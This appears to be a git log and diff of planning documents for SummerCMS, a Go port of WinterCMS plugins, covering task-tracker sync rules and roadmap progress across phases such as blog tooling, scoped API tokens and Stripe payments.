62025d22b3 docs(16.1-03): complete unit tests plan 2026-10-09 22:52:32 +02:00
837e40ae6a docs(16.1-03): record phase 16.1 validation results 2026-10-09 22:51:10 +02:00
837922cf43 test(cabana): relation subquery and locale order coverage
- TestListRelationSQL: DryRun matrix for belongsToMany (incl. custom pivot keys and self-reference), hasMany, hasOne and belongsTo search and sort, soft delete, 422 refusals, bound and LIKE-escaped search values, no outer JOIN next to ListExtendQuery and scope predicates
- TestListRelationSearchPostgres: exact total through two matching tags, string_agg sort order and hasMany search on Postgres
- TestEnabledLocalesDefaultFirst: default-locale ordering cases
2026-10-09 22:47:57 +02:00
a8bce9c01f test(admin): list state round trip and storage coverage
- Form back, cancel, save-and-close and delete land on the list with the stored query; every list request after the return carries it
- listState helpers: key prefix, malformed stored values removed, empty query stores nothing, throwing storage
- ListView entry: URL wins, cleared controls forget the query, same-list navigation, 422 forgets, page clamp
- Logout removes every list key and keeps the sidebar preference
2026-10-09 22:42:36 +02:00
3b8527b397 docs(16.1-02): update state and roadmap after plan 02 2026-10-09 22:37:49 +02:00
80f4497f95 docs(16.1-02): complete release and UAT redeploy plan 2026-10-09 22:37:19 +02:00
630 changed files with 109495 additions and 1478 deletions

49
.planning/G15OFFICE.md Normal file
View File

@@ -0,0 +1,49 @@
# g15office sync
Todos and phases in `.planning/` are mirrored in g15office, project `summercms` (see `g15office.json`). Keep the two in sync.
## Todos
- Every todo in `todos/pending/` has a g15office task, and its frontmatter carries the task ID: `g15office: <id>`.
- Capturing a todo creates its g15office task in the same session (type Bug, Feature, Improvement or Task; the description ends with `Local: .planning/todos/pending/<file>`). Write the ID back into the frontmatter.
- Closing a todo (moving it to `todos/done/`) also moves its task to `Live`, or to `Rejected` if it was dropped, with a one-line comment saying where it was done.
- A todo promoted to a phase closes into that phase's milestone task. For example, `backend-admin-api-tokens` became the Phase 16.3 task.
## Phases
Each roadmap phase has one milestone task titled `[Phase N] <name>`, type Task. Post a short comment on it whenever the phase advances (discussed, planned, a plan executed, verified, UAT, shipped), and keep its status in step:
| Phase state | g15office status |
|---|---|
| Not discussed, or discussed but not planned | To do |
| Planned or executing | In progress |
| Executed, waiting on verification/UAT | Testing |
| Complete | Live |
A new phase, inserted or added, gets its task when it is added to `ROADMAP.md`. A todo that a phase will deliver becomes a subtask of that phase's task.
| Phase | Task | Phase | Task |
|---|---|---|---|
| 1 | 1ar7xvcd | 14.2 | fdlwwsfh |
| 2 | 7uqoumsi | 14.2.1 | bf2wsxhz |
| 3 | 0tszvge7 | 14.3 | utmjarsp |
| 4 | qbwhi5u9 | 15 | qqbp8xtm |
| 5 | 5ahymkhp | 16 | n0nuhzca |
| 6 | altu10qm | 16.1 | y7adhmsm |
| 7 | jzdzafce | 16.2 | gwzqpjyi |
| 8 | 9nwkuxzo | 16.3 | 5lcivllc |
| 9 | hrjqlvb8 | 17 | ejoiuzy4 |
| 10 | vgrmjuwl | 18 | 46vnjevj |
| 10.1 | hwr4istb | 18.1 | 2vriy9pw |
| 10.2 | 6nwcght4 | 19 | 6nojs2go |
| 11 | sz63omvi | 19.1 | uakdpkc8 |
| 11.1 | 9crhrf7k | 19.2 | hgol7otp |
| 11.2 | pvwvnvvi | 19.3 | lpybyjdh |
| 12 | odwb6onw | 19.4 | l7t8dbyl |
| 12.1 | c5wcij0a | 19.5 | onunbz3l |
| 12.2 | hkoccgbx | 19.6 | avoroeb4 |
| 13 | nkbr2ybg | 20 | 0rkcboo0 |
| 14 | cwlaryop | | |
| 14.1 | v0j5lwvq | | |
Backlog phase 999.1 (newsletter) has no task until it is promoted into the roadmap.

View File

@@ -163,6 +163,9 @@ Quality
| Framework and application in two repos from day one (`summercms.go`, `fonoteka.go`) | Retrofitting the split later is more disruptive; shared stack plugins can be extracted for keios.eu without touching the framework; the framework never imports an app | ✓ Good (Phase 3: fonoteka.go workspace, user + fonoteka plugins, app.Handler test seam) |
| Shared core plugins live in their own `sm-<name>-plugin` repos, mounted into each application as git submodules (first: sm-user-plugin, module `git.golem15.com/golem15/sm-user-plugin`) | A second application (sm-summercmsio-app) exists and the Journal port is next; one copy per core plugin instead of forks; supersedes the Phase 1 keios.eu trigger (`.planning/notes/core-plugins-own-repos.md`) | ✓ Good (2026-10-02, quick 261002-esz) |
| OAuth identities live in sm-user-plugin; Index/Destroy are host-mounted on the JWT group | Social-login rows are a user-plugin table (D-01); routes stay off `/_user` so the host owns Winter 404 and `throttle:10,1` | ✓ Good (Phase 14.1, 2026-10-05; corpus 175/175/0) |
| The local dev stack is the Nuxt app proxied to the Go binary, guarded fail-closed (`fonoteka.go/scripts/dev-stack.sh`), with dev-only seed and marker route gated on `SUMMER_ENV=local` only | Proves the port in daily use before cutover without touching the production origin; `dev` is refused because shared servers often use that name (review WR-05) | ✓ Good (Phase 14.2, 2026-10-12; gate e2e 17/0/0/0, manual UAT 1-11) |
| Framework serves public uploads itself (`storage.uploads.serve`, opt-in) with nosniff, a sandboxing CSP and attachment disposition for non-images | Local runs need WinterCMS upload URLs without nginx; the hardening keeps uploaded HTML or SVG from running on the app origin (review WR-03) | ✓ Good (Phase 14.2) |
| The opt-in request log (`http.access_log`) records method, matched pattern, status and duration, never the URL path | Share and invitation tokens travel in paths (review WR-01); an unported route shows as a 404 with an empty pattern | ✓ Good (Phase 14.2) |
## Evolution
@@ -182,4 +185,4 @@ This document evolves at phase transitions and milestone boundaries.
4. Update Context with current state
---
*Last updated: 2026-10-05 after Phase 14.1 completion*
*Last updated: 2026-10-12 after Phase 14.2 completion*

View File

@@ -23,17 +23,22 @@ Decimal phases appear between their surrounding integers in numeric order.
- [x] **Phase 8: OAuth2.1 authorization server** - direct standard-library `wristband` server for fonoteka-mcp and the ChatGPT connector (completed 2026-09-23)
- [x] **Phase 9: Backend admin authentication and schema pipeline** - Admin roles, fields.yaml/columns.yaml, relation manager (completed 2026-10-01)
- [x] **Phase 10: Admin Vue SPA** - Login, navigation, lists, forms and relation manager for five controllers (completed 2026-09-27)
- [ ] **Phase 11: Jobs, realtime and search infrastructure** - River, Centrifugo and Typesense sync brought up before the API phases that need them
- [x] **Phase 11: Jobs, realtime and search infrastructure** - River, Centrifugo and Typesense sync brought up before the API phases that need them (completed 2026-10-06)
- [x] **Phase 12: Płytarium API — Collections and Albums** - Core content endpoints ported with byte-level parity (completed 2026-10-02)
- [ ] **Phase 13: Płytarium API — wishlist, notifications, CSV, credentials, public routes** - Remaining core API surface
- [ ] **Phase 14: Domain jobs and external integrations** - CSV/Discogs jobs, wishlist digest, reindex, Discogs client, AI recognition, feedback
- [ ] **Phase 14.2: Local Fonoteka frontend on local SummerCMS backend** - vue-fonoteka-app locally against fonoteka.go
- [ ] **Phase 15: Journal plugin** - Port Golem15.Journal to sm-journal-plugin
- [ ] **Phase 16: grzybyfunkcjonalne.pl on reusable blog views** - First blog on SummerCMS
- [ ] **Phase 17: Blog companions** - Port sitemap, menu and FAQ as shared plugins, with a framework menu-item type registry
- [ ] **Phase 18: Payment Gateway** - Port Golem15.PaymentGateway and its Stripe operator, with Horoskopia as the acceptance consumer
- [x] **Phase 13: Płytarium API — wishlist, notifications, CSV, credentials, public routes** - Remaining core API surface (completed 2026-10-12)
- [x] **Phase 14: Domain jobs and external integrations** - CSV/Discogs jobs, wishlist digest, reindex, Discogs client, AI recognition, feedback (completed 2026-10-04)
- [x] **Phase 14.2: Local Fonoteka frontend on local SummerCMS backend** - vue-fonoteka-app locally against fonoteka.go (completed 2026-10-12)
- [x] **Phase 15: Journal plugin** - Port Golem15.Journal to sm-journal-plugin (completed 2026-10-06)
- [x] **Phase 16: grzybyfunkcjonalne.pl on reusable blog views** - First blog on SummerCMS (completed 2026-10-09)
- [x] **Phase 17: Blog companions** - Port sitemap, menu and FAQ as shared plugins, with a framework menu-item type registry (completed 2026-10-13)
- [x] **Phase 18: Payment Gateway** - Port Golem15.PaymentGateway and its Stripe operator, with Horoskopia as the acceptance consumer (completed 2026-10-14)
- [ ] **Phase 19: Chat and ChatChannels** - Port Golem15.Chat and Golem15.ChatChannels on lighthouse
- [ ] **Phase 19.1: Chat satellites** - Port chatbots, chatvideo, forum, herald and userfriends
- [ ] **Phase 19.2: Chat polish against WavePath clients** - Replay WavePath's chat traffic through `tide` against the ported chat plugins until green
- [ ] **Phase 19.3: Framework transport and infrastructure for WavePath** - Cookie refresh, credentialed CORS, cache and Redis rate limits, S3 option, OpenAPI page, Turnstile
- [ ] **Phase 19.4: OIDC provider on wristband** - Discovery, JWKS with key rotation, id_token, userinfo, consent and pairwise subjects
- [ ] **Phase 19.5: Social login in sm-user-plugin** - Google and Facebook login with the SPA one-time-code handoff
- [ ] **Phase 19.6: Two-factor auth and device flow in sm-user-plugin** - TOTP, WebAuthn, email and recovery codes, trusted devices, device authorization
- [ ] **Phase 20: Płytarium cutover** - Parity harness green, both real clients run unchanged in production
## Phase Details
@@ -481,7 +486,7 @@ Plans:
4. A controller registers named toolbar actions listed in `toolbar.buttons`; a click POSTs the action and toasts while `create` and `delete` keep their behaviour; unknown YAML keys, missing templates, unregistered actions and unknown permissions fail boot.
5. The Albums list shows a statistics strip scoped to the admin's collection, the Albums form shows a "Load from Discogs" widget whose stub fills Release year and Format, and a "Sync with Discogs" toolbar action toasts from its stub.
**Plans:** 4/4 plans executed
**Plans:** 4/4 plans complete
Plans:
@@ -512,7 +517,7 @@ Plans:
4. A channel-namespace authorizer registry re-validates on every subscribe; a broadcastable model interface with bulk-write suppression emits exactly one summary event for a bulk operation.
5. Typesense sync is scoped by `collection_id` behind a settings kill-switch and degrades gracefully without DB/config.
**Plans:** 8/8 plans executed
**Plans:** 8/8 plans complete
**Research flag:** yes
Plans:
@@ -551,7 +556,7 @@ Plans:
4. Every Go example in a `docs/` page is compiled and run by `go test ./...` (Go code in ingested module READMEs is identifier-checked, not compiled — D-18). An identifier checker and an internal link/anchor checker also run there and fail on stale names or broken links.
5. A "Coming from WinterCMS" concept map and an `acme/blog` porting walkthrough exist, and the walkthrough's code is verified under criterion 4.
**Plans:** 7/7 plans executed
**Plans:** 7/7 plans complete
Plans:
**Wave 1**
@@ -593,7 +598,7 @@ Plans:
**Context:** `.planning/phases/11.2-ready-to-share-summercms-io-website-and-newsletter-plugin/11.2-CONTEXT.md` (D-01 to D-05, D-07, D-09 and D-12 still apply; see its supersession note)
**Plans:** 3/3 plans executed
**Plans:** 3/3 plans complete
Plans:
**Wave 1**
@@ -620,7 +625,7 @@ Plans:
4. Artists/genres/styles lookup endpoints used by the Albums UI pass the parity diff.
5. A request-DTO-level fuzz over every write endpoint asserts unknown and server-owned keys are never persisted (inherits the HTTP half of Phase 5 criterion 3; the HTTP layer does not exist until Phase 6/12).
**Plans**: 4/5 plans executed
**Plans**: 5/5 plans complete
Plans:
@@ -656,7 +661,7 @@ Plans:
5. The new code has unit tests, delivered in the phase's last plan.
**Open questions (discuss-phase):** impersonate user in or out of scope (security-sensitive); a separate permission for granting the `admin` group (it makes a site admin); whether convert-guest is needed for the application's data.
**Plans:** 5/5 plans executed
**Plans:** 5/5 plans complete
Plans:
@@ -691,7 +696,7 @@ Plans:
4. Deferred binding: on an unsaved parent, uploads and related-record changes bind to a session key, are committed in the parent's create transaction, and are discarded with the session. Orphaned deferred bindings and their files are purged.
5. The new code has unit tests, delivered in the phase's last plan, and the docs checker passes.
**Plans:** 4/5 plans executed
**Plans:** 5/5 plans complete
Plans:
**Wave 1**
@@ -707,7 +712,7 @@ Plans:
- [x] 12.2-04-PLAN.md — Admin SPA: FileuploadField, DatepickerField (Reka), child and pivot modals, create-screen deferral, date/time cells, rebuilt dist
**Wave 5** *(blocked on Wave 4 completion)*
- [ ] 12.2-05-PLAN.md — Unit and security tests (D-15 suite, test map, SPA backstops), check-phase12.2.sh, security review, v0.1.1 tag checkpoint
- [x] 12.2-05-PLAN.md — Unit and security tests (D-15 suite, test map, SPA backstops), check-phase12.2.sh, security review, v0.1.1 tag checkpoint
**Cross-cutting constraints:**
- Calendar popover: Esc returns focus to the trigger and a disabled day cannot be selected
@@ -730,7 +735,7 @@ Plans:
4. Per-user and per-org Discogs/AI credentials CRUD store encrypted values, honor the org-lock flag, and resolve env-to-org-to-user correctly. The live `ai-credential/test` and `discogs-credential/test` routes move to Phase 14 (D-02).
5. Onboarding, public and invitation-inspection routes, including the anonymous collection views `public/{token}`, `public/{token}/albums` and `public/{token}/albums/{id}`, are reachable without auth and enforce their own public rate-limit buckets.
**Plans:** 6/6 plans executed
**Plans:** 6/6 plans complete
Plans:
@@ -769,7 +774,7 @@ Plans:
6. Feedback submissions, widget config and the hide preference work (sitemap dropped for this application, D-14); the oauth-client, prune-notifications and reindex commands all run correctly.
`oauth-identities` GET/DELETE and token `GET /api/v1/fonoteka/me` stay pending in this phase (D-09, todo orphan-pending-routes).
**Plans:** 6/6 plans executed
**Plans:** 6/6 plans complete
Plans:
@@ -829,21 +834,21 @@ Plans:
3. Failures against Go are visible (no silent fall-through to PHP); the local stack does not require the production origin.
4. The new glue (env, proxy, CORS, run docs) has tests or a fail-closed check script, delivered in the phase's last plan.
**Plans:** 4 plans
**Plans:** 4/4 plans complete
Plans:
**Wave 1**
- [ ] 14.2-01-PLAN.md — Go glue: `fonoteka:dev-seed`, plugin commands open their own DB (G1), dev-only marker route, framework `/storage` mount and opt-in access log with docs
- [x] 14.2-01-PLAN.md — Go glue: `fonoteka:dev-seed`, plugin commands open their own DB (G1), dev-only marker route, framework `/storage` mount and opt-in access log with docs
**Wave 2** *(blocked on Wave 1 completion)*
- [ ] 14.2-02-PLAN.md — `scripts/dev-stack.sh` (start, fail-closed guard, logs, e2e verdict), `.env.dev.example`, `.gitignore`, run docs
- [x] 14.2-02-PLAN.md — `scripts/dev-stack.sh` (start, fail-closed guard, logs, e2e verdict), `.env.dev.example`, `.gitignore`, run docs
**Wave 3** *(blocked on Wave 2 completion)*
- [ ] 14.2-03-PLAN.md — Nuxt `E2E_BACKEND=go` switch, realtime rewrite, edit/rate/cover, search and wishlist specs on Go and PHP, Centrifugo origin step, manual UAT session
- [x] 14.2-03-PLAN.md — Nuxt `E2E_BACKEND=go` switch, realtime rewrite, edit/rate/cover, search and wishlist specs on Go and PHP, Centrifugo origin step, manual UAT session
**Wave 4** *(blocked on Wave 3 completion)*
- [ ] 14.2-04-PLAN.md — Unit tests (seed, commands, marker, uploads mount, access log, switch contract) and `scripts/check-phase14.2.sh`
- [x] 14.2-04-PLAN.md — Unit tests (seed, commands, marker, uploads mount, access log, switch contract) and `scripts/check-phase14.2.sh`
### Phase 14.2.1: Translate plugin (INSERTED)
@@ -858,7 +863,7 @@ Plans:
3. Cabana `markdown`/`mltext`/`mlmarkdown` compose; nested locale writes are not dropped; docs, OpenAPI, TS types and `boardwalk` `dist/` update in the same change.
4. Proof host `sm-grzybyfunkcjonalne-app` boots with user+translate; unit tests are the last plan.
**Plans:** 6/6 plans executed
**Plans:** 6/6 plans complete
Plans:
@@ -899,7 +904,7 @@ Plans:
5. `docs/setup/installation.md` leads with the one-liner, `go-modules-and-workspaces.md` and the console docs cover `summer new`, and `llms.txt`/`llms-full.txt` include the changes; docs checks pass.
6. Generator Go tests (golden output plus a real build of the scaffold in a temp dir) are the last plan.
**Plans:** 4/4 plans executed
**Plans:** 4/4 plans complete
Plans:
@@ -929,7 +934,7 @@ Plans:
3. Plugin README and docs stay application-neutral (`the application`, example names such as `blog`).
4. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 4/4 plans executed
**Plans:** 4/4 plans complete
Plans:
@@ -959,7 +964,7 @@ Plans:
3. Public pages that PHP Journal + the current theme rendered have a named successor on Go; sitemap is in if the site still needs it.
4. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 5/5 plans executed
**Plans:** 5/5 plans complete
Plans:
**Wave 1**
@@ -982,27 +987,77 @@ Plans:
**Goal:** The Journal posts list and post form in the admin work on real imported data, found on UAT (uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts): (1) list search no longer fails with "Server error" — the Go log shows `ERROR: column Categories.post_id does not exist (SQLSTATE 42703)` from summercms@v0.1.9 modules/cabana/query.go:129, i.e. search across a belongsToMany (pivot) relation builds a hasMany join; (2) list sort and filters are remembered after opening a record and going back, as WinterCMS persisted list state; (3) the post form shows the stored content (DB has content/content_html on 104/104 posts, the form shows it empty); (4) the post form shows the stored excerpt (100/104 posts have it in the DB). Fixes span summercms.go core (modules/cabana — coordinate with the concurrent session working in modules/) and sm-journal-plugin; release a summercms tag, bump the host, redeploy to UAT and re-run the staging smoke.
**Requirements**: TBD
**Depends on:** Phase 16
**Plans:** 1/3 plans executed
**Plans:** 3/3 plans complete
Plans:
**Wave 1**
- [x] 16.1-01-PLAN.md — All fixes: cabana relation search and to-many sort through EXISTS/correlated subqueries (D-02), default locale first in form enabledLocales (D-03), Journal FormatHTML keeps raw HTML behind the gate (D-03), admin list state in the URL and browser storage (D-01)
**Wave 2** *(blocked on Wave 1 completion)*
- [ ] 16.1-02-PLAN.md — Release gate (human), summercms tag, journal and host bumps, UAT redeploy and on-server smoke, re-save posts 53 and 64 (D-04)
- [x] 16.1-02-PLAN.md — Release gate (human), summercms tag, journal and host bumps, UAT redeploy and on-server smoke, re-save posts 53 and 64 (D-04)
**Wave 3** *(blocked on Wave 2 completion)*
- [ ] 16.1-03-PLAN.md — Unit tests: DryRun SQL matrix, locale order, FormatHTML keep/refuse, list-state vitest; Postgres tests for a Docker host; phase gate
- [x] 16.1-03-PLAN.md — Unit tests: DryRun SQL matrix, locale order, FormatHTML keep/refuse, list-state vitest; Postgres tests for a Docker host; phase gate
### Phase 16.2: Plugin-provided field types and the Blog Editor formwidget (INSERTED)
**Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content — beyond the current markdown field or a plain rich editor — that edits imported HTML posts losslessly.
**Requirements**: TBD
**Depends on:** Phase 16.1
**Plans:** 0 plans
**Plans:** 7/7 plans complete
Plans:
- [ ] TBD (run /msd-plan-phase 16.2 to break down)
**Wave 1**
- [x] 16.2-01-PLAN.md — Framework (summercms.go): pact field-type API (human API checkpoint), cabana registry, boot option checks, Decode/Load/list in the save transaction, Decode notices as meta.notices (D-10 strip report), untouched skip, FieldWritesFromContext, field-types and field upload routes, OpenAPI and TS types, SPA PluginField/MLPluginField, global loader and notice display, dist, READMEs and docs
- [x] 16.2-02-PLAN.md — Journal Blog Editor element (sm-journal-plugin assets/src to assets/dist): TipTap package check (human), untouched value contract, lossless schema and serializer, policy-safe links, uploads and YouTube embeds, the committed editor-output corpus, JS build, vitest, check-dist, embed
**Wave 2** *(blocked on Wave 1 completion)*
- [x] 16.2-03-PLAN.md — Journal Go integration: blogeditor and mlblogeditor types, strip-and-report Decode per locale (SanitizeHTMLReport), D-07 Load, post and category fields (category 422 gate retired), content_html companion writes without goldmark, bluemonday policy extended for the editor's own output (corpus test), editor uploads through the extracted media storage
- [x] 16.2-04-PLAN.md — vue-journal-layer: sanitize-html mirror extended for the editor's own output (corpus copy), expandEmbeds as the last step after sanitizeJournalHtml, SSR proof, tag v0.2.0 (human push gate), pin in vue-grzybyfunkcjonalne-app
**Wave 3** *(blocked on Wave 2 completion)*
- [x] 16.2-05-PLAN.md — Release gate (human), summercms tag v0.1.18 (next free), journal and host bumps, UAT redeploy and on-server smoke, UAT acceptance: untouched re-saves byte-identical, editor edit with upload and embed, unsafe markup stripped and reported
**Wave 4** *(blocked on Wave 3 completion)*
- [x] 16.2-06-PLAN.md — Unit tests: resave contract at every layer, strip-and-report and notices, policy cross-check corpus (both policies, identical copies), category strip, full Go and JS coverage, Postgres tests for a Docker host, phase gate scripts/check-phase16.2.sh, validation map
**Wave 5** *(gap closure, blocked on Wave 4 completion)*
- [x] 16.2-07-PLAN.md — Gap closure G-16.2-1 and G-16.2-2: conformance cases for GET /field-types and the field upload route, Docker-free route inventory in the gate, TestJournalSVGEmbed fix; Journal post/category admin saves purge the host Nuxt route cache after commit through a token-protected vue-journal-layer route (browsers revalidate); full gate incl. postgres, release summercms v0.1.20 and vue-journal-layer v0.3.0, UAT redeploy, re-run of UAT Tests 3 and 2
### Phase 16.3: Backend admin personal API tokens with scopes (INSERTED)
**Goal:** Backend users can create personal API tokens with a scope they pick at creation time (for example Journal only, or system-wide; later read-only Payment Gateway), so an agent or integration can call the admin and plugin APIs as that backend user, with no more access than the token's scope and the user's own permissions allow. This is the successor of Apparatus `PersonalApiToken` (todo `backend-admin-api-tokens.md`, note `apparatus-dissolved-into-framework.md`) and reverses the Phase 15 D-15 rule that Journal writes accept only a backend JWT.
**Requirements**: TBD
**Depends on:** Phase 9, Phase 10, Phase 15
**Repos:** `summercms.go` (bouncer guard, token model and migration, scope registry, admin SPA panel, CLI); `sm-journal-plugin` to register its scope and accept tokens on its write routes; host applications only for the version bump
**Constraints from explore (2026-10-10):**
- Tokens keep the `g15_` prefix and are stored only as a hash. The rest of the format can change, and WinterCMS Apparatus tokens are not migrated.
- The user picks the scope when creating a token. Plugins register their own scopes. Scope design (names, read-only variants, system-wide) is settled in discuss-phase.
- Tokens are managed in two places, as in WinterCMS: a panel on the admin SPA backend user form (create, show once, revoke) and a `summer` CLI command.
**Success Criteria** (what must be TRUE):
1. The `backend` guard accepts a valid, unexpired, unrevoked `g15_` token as well as the backend JWT, and the request runs as the token's backend user.
2. A request outside the token's scope is refused even when the user's role would allow it, and a token never grants more than its owner's permissions.
3. A backend user can create, list and revoke their own tokens in the admin SPA. The plaintext token is shown once. A CLI command does the same for any backend user.
4. The Journal API accepts a Journal-scoped token for writes, so an agent can manage blog posts as a backend author.
5. Module READMEs and `docs/` cover the token API, scopes and CLI commands.
6. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 4/4 plans complete
Plans:
**Wave 1**
- [x] 16.3-01-PLAN.md — Framework (summercms.go): pact.HasTokenScopes, bouncer scope limit, Allows rewrite (scope before the superuser shortcut), backend_api_tokens migration, composite backend guard, interactive-only marker, route gates, published cabana.ResolveBackend, account token API with OpenAPI and inventories, admin:token:* CLI with party.Activated and summer delegates, READMEs and docs
**Wave 2** *(blocked on Wave 1 completion)*
- [x] 16.3-02-PLAN.md — Admin SPA API tokens card on My account per UI-SPEC: list states, two-step create with show-once plaintext and copy, revoke, phrase keys, dist, docs
**Wave 3** *(blocked on Wave 2 completion)*
- [x] 16.3-03-PLAN.md — Journal: journal and journal:read scopes, token auth through ResolveBackend with byte-identical bodies (reverses Phase 15 D-15), Journal README and the ResolveBackend docs example; release gate (human), summercms tag after v0.1.20, Journal go.mod and host gitlink bumps
**Wave 4** *(blocked on Wave 3 completion)*
- [x] 16.3-04-PLAN.md — Unit tests: scope rules, route classification, guard, resolver, account API, CLI, migration, SPA backstops, Journal token matrix; Postgres tests for a Docker host; phase gate scripts/check-phase16.3.sh; validation map
### Phase 17: Blog companions
@@ -1020,10 +1075,26 @@ Plans:
4. grzybyfunkcjonalne.pl reads its menu and FAQ from the plugins instead of app config.
5. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 0 plans
**Plans:** 6/6 plans complete
Plans:
- [ ] TBD (run $gsd-plan-phase 17 to break down)
**Wave 1**
- [x] 17-01-PLAN.md — Framework Go: pact menu-item types and the signpost registry, seaglass sanitizer, cabana repeater, dependent dropdown, richeditor, tree reorder and singleton form
**Wave 2** *(blocked on Wave 1 completion)*
- [x] 17-02-PLAN.md — Admin SPA (RichEditorField on TipTap, RepeaterField, dependent dropdown, ReorderView, singleton form), dist, and the framework release tag
- [x] 17-03-PLAN.md — Journal registers its five item types; sm-sitemap-plugin with PHP byte parity, admin and import commands
- [x] 17-04-PLAN.md — sm-menu-plugin and sm-faq-plugin: admin, Winter imports, and the /_menu and /_faq read APIs
**Wave 3** *(blocked on Wave 2 completion)*
- [x] 17-05-PLAN.md — grzybyfunkcjonalne.pl integration: repos, vue-menu-layer and vue-faq-layer, data copy, nginx, UAT redeploy
**Wave 4** *(blocked on Wave 3 completion)*
- [x] 17-06-PLAN.md — Unit tests across all repositories, scripts/check-phase17.sh and the validation map
### Phase 18: Payment Gateway
@@ -1042,10 +1113,32 @@ Plans:
4. A host test proves the order-create, Stripe-pay and order-paid flow that Horoskopia relies on.
5. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 0 plans
**Plans:** 8/8 plans complete
Plans:
- [ ] TBD (run $gsd-plan-phase 18 to break down)
**Wave 1**
- [x] 18-01-PLAN.md — Framework (summercms.go): cabana `money` field and list column (D-07, scale-4 decimal strings), write-only `lagoon.Encrypted` secrets, richeditor and tabs on settings forms (D-13, F2-F4), danger record actions, preview Edit rule and the table kit (F5-F7), docs, OpenAPI, dist; framework tag with go-ahead
**Wave 2** *(blocked on 18-01)*
- [x] 18-02-PLAN.md — sm-paymentgateway-plugin domain core: v2 row-shape gate, exact money, migrations, models, FSMs, Order/Payment services, operators (cash, manual, disabled) and registry, cart with legacy reader and extension registry, hashids, events and bridge, notification route, currencies (NBP, Fixer), `pg:*` commands, `paymentgateway:import-winter`
**Wave 3** *(blocked on 18-02)*
- [x] 18-03-PLAN.md — sm-paymentgateway-plugin admin: Orders, Payments, Quotes, Quote items and Shippings in cabana YAML with partials, record and admin actions, the quote cart element, permissions, navigation and the full EN/PL phrasebook
**Wave 4** *(blocked on 18-03)*
- [x] 18-04-PLAN.md — sm-paymentgateway-plugin settings and mail: PG and Mailer settings pages (D-08), 27 postcard templates PL/EN under the PHP codes, the four mailer groups after commit, mailer keys in the Winter import
**Wave 5** *(blocked on 18-04)*
- [x] 18-05-PLAN.md — sm-pgstripe-plugin and the proof host: stripe-go v87 operator (Checkout and PaymentIntent, D-16/D-17), signature-only webhooks (D-14), browser return, refunds, encrypted settings with env fallback and `pgstripe:import-winter` (D-13), the D-03/D-04 host test with both pay paths
**Wave 6** *(blocked on 18-05)*
- [x] 18-06-PLAN.md — Customer order API `/_paymentgateway/api/v1` (D-06 contract gate, authz, twelve endpoints) and the new vue-paymentgateway-layer (typed client, Pg* components, i18n, tests); repository creation, fixture request, pushes and layer tag v0.1.0 with go-ahead
**Wave 7** *(blocked on 18-01..18-06)*
- [x] 18-07-PLAN.md — Unit tests last: the 74-case PHP map, money and FSM matrices, legacy fixtures, security evidence, framework and layer tests, `scripts/check-phase18.sh`, validated 18-VALIDATION.md, final push approval
**Wave 8** *(gap closure; blocked on 18-05 and 18-07)*
- [x] 18-08-PLAN.md — Gap closure SC-2 (sm-pgstripe-plugin): `payment_intent.payment_failed` logged and non-terminal so a declined-then-retried payment is accepted; a paid signal on a payment that refuses Accept is logged at Error level (replays silent); expired and canceled stay no-ops by decision; decline-then-succeed proofs in both modes, Docker-free decline coverage, README event table; push with go-ahead, no tag
### Phase 18.1: Payment Gateway Subscriptions (INSERTED)
@@ -1063,10 +1156,31 @@ Plans:
4. A host test proves checkout, activation, `invoice.paid`, `past_due` with its grace period, cancel and duplicate-event idempotency against a Stripe fake.
5. The new code has unit tests, delivered in the phase's last plan.
**Plans:** 0 plans
**Plans:** 9/9 plans executed
Plans:
- [ ] TBD (run /msd-plan-phase 18.1 to break down)
**Wave 1**
- [x] 18.1-01-PLAN.md — Framework (summercms.go): core cabana `taglist` field and flat (Sortable) reorder (D-17), OpenAPI, dist, docs; framework tag with go-ahead
- [x] 18.1-02-PLAN.md — sm-paymentgatewaysubscriptions-plugin core tracer (new repo): baseline gate (D-04/D-16), models and checks, contracts and build-time registries, six events, gateway-neutral Apply and claim, `user` subscribable, service API; remote and push with go-ahead
**Wave 2** *(blocked on Wave 1 completion)*
- [x] 18.1-03-PLAN.md — sm-pgstripe-plugin: subscription secret columns and import target (D-18), plugin `golem15.pgstripesubscriptions` (webhook contract gate, gateway with plan sync from `d00f850`, both webhook URLs, claim-first River job, app-tag config), `TestHostSubscriptionFlow`
- [x] 18.1-04-PLAN.md — sm-paymentgatewaysubscriptions-plugin admin (plans with taglist, flat reorder and sync actions; subscriptions list and preview), permissions, EN/PL, customer API after its contract gate (D-13)
**Wave 3** *(blocked on 18.1-04)*
- [x] 18.1-05-PLAN.md — vue-paymentgateway-layer subscription client, composables and Pg components (D-14); tag `v0.2.0` with go-ahead
**Wave 4** *(blocked on 18.1-01..18.1-05)*
- [x] 18.1-06-PLAN.md — Unit tests last across all repositories, PHP test map, `scripts/check-phase18.1.sh`, validated 18.1-VALIDATION.md, final push approval
**Gap closure wave 1** *(from 18.1-REVIEW.md; the user chose fix over PHP parity on 2026-10-14)*
- [x] 18.1-07-PLAN.md — Webhook and sync state (pgsub, pgstripe): the job applies the subscription Stripe holds under a per-subscription advisory lock (CR-01, D-21 amended for ordering); a deletion before creation is retried; plan fallback by product and plan_code (WR-04); SyncSubscription writes only gateway-owned columns and refreshes the plan (WR-06)
**Gap closure wave 2** *(blocked on 18.1-07)*
- [x] 18.1-08-PLAN.md — Checkout, admin sync and layer: no cross-currency price (CR-02), first-write-wins customer id and idempotency keys (WR-02), guarded checkout for any open subscription (WR-03), framework `pact.AdminBulkAction.Detached` and plan sync outside transactions (WR-01), buttons recover after Back (WR-07)
**Gap closure wave 3** *(blocked on 18.1-07, 18.1-08)*
- [x] 18.1-09-PLAN.md — Unit tests last for the gap closure across four repositories, the extended gate, VALIDATION rows, layer 0.2.1, final push approval (framework v0.1.27, layer v0.2.1, optional first plugin tags)
### Phase 19: Chat and ChatChannels
@@ -1074,7 +1188,7 @@ Plans:
**Mode:** mvp
**Depends on:** Phase 11
**Repos:** `sm-chat-plugin` and `sm-chatchannels-plugin` (new, under `git.golem15.com/golem15/`); `summercms.go` only if `lighthouse` is missing a feature
**Port sources:** `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chat,chatchannels}`. Wavepath is the heaviest user. Check its copy (with `root_id` threading) against the starter's before choosing the source.
